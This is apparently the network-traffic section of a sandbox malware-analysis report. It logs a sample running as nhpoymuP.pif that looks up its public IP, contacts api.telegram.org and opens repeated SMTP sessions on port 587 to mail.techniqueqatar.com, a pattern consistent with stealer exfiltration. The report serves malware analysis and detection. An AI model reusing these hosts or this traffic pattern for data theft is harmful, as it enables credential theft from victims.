                                                                                                                                                                    Jan 2, 2025 16:05:55.639621019 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.639625072 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.639627934 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:55.639636993 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:56.056241035 CET58749773208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:56.099442005 CET49773587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:58.723421097 CET4975580192.168.2.4193.122.130.0
                                                                                                                                                                    Jan 2, 2025 16:05:58.898106098 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:58.902915001 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:58.902976036 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:59.436655045 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:59.436861038 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:59.441662073 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:59.582561970 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:59.582701921 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:59.587549925 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:59.880295038 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:59.880793095 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:05:59.885535002 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.038327932 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.038445950 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.038456917 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.038501024 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:00.038590908 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.038602114 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.038645029 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:00.040899038 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:00.045712948 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.188599110 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.191737890 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:00.196540117 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.337351084 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.339724064 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:00.344558954 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.491880894 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.493005991 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:00.497801065 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.640260935 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.640608072 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:00.645371914 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.786104918 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.786341906 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:00.791213036 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.933193922 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:00.933522940 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:00.938457966 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.106239080 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.106441975 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:01.111274004 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.253593922 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.253957987 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:01.258781910 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.417618036 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.418199062 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:01.418287039 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:01.418431044 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:01.418431044 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:01.418452978 CET49799587192.168.2.4208.91.198.176
                                                                                                                                                                    Jan 2, 2025 16:06:01.423064947 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.423238039 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.423248053 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.423418999 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.423427105 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.423552990 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.622636080 CET58749799208.91.198.176192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:06:01.677560091 CET49799587192.168.2.4208.91.198.176

                                                                                                                                                                    UDP Packets

                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                    Jan 2, 2025 16:04:57.925811052 CET6427253192.168.2.41.1.1.1
                                                                                                                                                                    Jan 2, 2025 16:04:58.220206022 CET53642721.1.1.1192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:03.475996971 CET5848553192.168.2.41.1.1.1
                                                                                                                                                                    Jan 2, 2025 16:05:03.484832048 CET53584851.1.1.1192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:28.845547915 CET5930353192.168.2.41.1.1.1
                                                                                                                                                                    Jan 2, 2025 16:05:28.853368044 CET53593031.1.1.1192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:45.506376982 CET6315853192.168.2.41.1.1.1
                                                                                                                                                                    Jan 2, 2025 16:05:45.512840033 CET53631581.1.1.1192.168.2.4
                                                                                                                                                                    Jan 2, 2025 16:05:52.728921890 CET5028853192.168.2.41.1.1.1
                                                                                                                                                                    Jan 2, 2025 16:05:53.017009020 CET53502881.1.1.1192.168.2.4

                                                                                                                                                                    DNS Queries

                                                                                                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                    Jan 2, 2025 16:04:57.925811052 CET192.168.2.41.1.1.10xd28cStandard query (0)fodoknotel.za.comA (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:03.475996971 CET192.168.2.41.1.1.10x7eecStandard query (0)checkip.dyndns.orgA (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:28.845547915 CET192.168.2.41.1.1.10x54c9Standard query (0)reallyfreegeoip.orgA (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:45.506376982 CET192.168.2.41.1.1.10xfb9eStandard query (0)api.telegram.orgA (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:52.728921890 CET192.168.2.41.1.1.10x9f5eStandard query (0)mail.techniqueqatar.comA (IP address)IN (0x0001)false

                                                                                                                                                                    DNS Answers

                                                                                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                    Jan 2, 2025 16:04:58.220206022 CET1.1.1.1192.168.2.40xd28cNo error (0)fodoknotel.za.com23.237.26.135A (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:03.484832048 CET1.1.1.1192.168.2.40x7eecNo error (0)checkip.dyndns.orgcheckip.dyndns.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:03.484832048 CET1.1.1.1192.168.2.40x7eecNo error (0)checkip.dyndns.com193.122.130.0A (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:03.484832048 CET1.1.1.1192.168.2.40x7eecNo error (0)checkip.dyndns.com193.122.6.168A (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:03.484832048 CET1.1.1.1192.168.2.40x7eecNo error (0)checkip.dyndns.com158.101.44.242A (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:03.484832048 CET1.1.1.1192.168.2.40x7eecNo error (0)checkip.dyndns.com132.226.247.73A (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:03.484832048 CET1.1.1.1192.168.2.40x7eecNo error (0)checkip.dyndns.com132.226.8.169A (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:28.853368044 CET1.1.1.1192.168.2.40x54c9No error (0)reallyfreegeoip.org188.114.97.3A (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:28.853368044 CET1.1.1.1192.168.2.40x54c9No error (0)reallyfreegeoip.org188.114.96.3A (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:45.512840033 CET1.1.1.1192.168.2.40xfb9eNo error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false
                                                                                                                                                                    Jan 2, 2025 16:05:53.017009020 CET1.1.1.1192.168.2.40x9f5eNo error (0)mail.techniqueqatar.com208.91.198.176A (IP address)IN (0x0001)false

                                                                                                                                                                    HTTP Request Dependency Graph

                                                                                                                                                                    • fodoknotel.za.com
                                                                                                                                                                    • reallyfreegeoip.org
                                                                                                                                                                    • api.telegram.org
                                                                                                                                                                    • checkip.dyndns.org

                                                                                                                                                                    HTTP Packets

                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    0192.168.2.449732193.122.130.0807416C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:03.624102116 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:21.146392107 CET745INHTTP/1.1 504 Gateway Time-out
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:21 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 557
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    X-Request-ID: 82bb25593c111bcad654e78ad8cd4718
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED]
                                                                                                                                                                    Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    1192.168.2.449733193.122.130.0807688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:14.921350956 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:27.603337049 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:27 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 2d12329c6d88c374791262271d22fb6d
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                                    Jan 2, 2025 16:05:27.610217094 CET127OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Jan 2, 2025 16:05:28.155039072 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:28 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 0d2e15a98647ca217356c3ce29d22e81
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                                    Jan 2, 2025 16:05:29.538620949 CET127OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Jan 2, 2025 16:05:30.994702101 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:30 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 5802c0d01f5d54b2e326d23d80f05b15
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    2192.168.2.449740193.122.130.0808008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:23.870104074 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:28.732500076 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:28 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: b8378110946084a51aab0558a3be76be
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                                    Jan 2, 2025 16:05:28.775854111 CET127OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Jan 2, 2025 16:05:31.858957052 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:31 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: eb96e9873d03edeca95594765ee4fa43
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                                    Jan 2, 2025 16:05:32.792109013 CET127OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Jan 2, 2025 16:05:36.021917105 CET745INHTTP/1.1 504 Gateway Time-out
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:35 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 557
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    X-Request-ID: 53670397fe760e880fb9187da12540df
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED]
                                                                                                                                                                    Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                    Jan 2, 2025 16:05:36.043612957 CET127OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Jan 2, 2025 16:05:36.949445009 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:36 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 581ed935375aa0868aa1e0d599c0e668
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    3192.168.2.449743193.122.130.0807688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:31.644198895 CET127OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Jan 2, 2025 16:05:33.138668060 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:33 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 52ceeb6b4218b260ed4dc0f72e81fb79
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    4192.168.2.449746193.122.130.0807688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:33.977319002 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:36.458431959 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:36 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Content-Length: 104
                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Pragma: no-cache
                                                                                                                                                                    X-Request-ID: 2aeb628417726287e4ac67494d09743c
                                                                                                                                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                    Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    5192.168.2.449749193.122.130.0807688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Jan 2, 2025 16:05:37.160213947 CET151OUTGET / HTTP/1.1
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                                    Host: checkip.dyndns.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    Jan 2, 2025 16:05:38.365104914 CET321INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:38 GMT
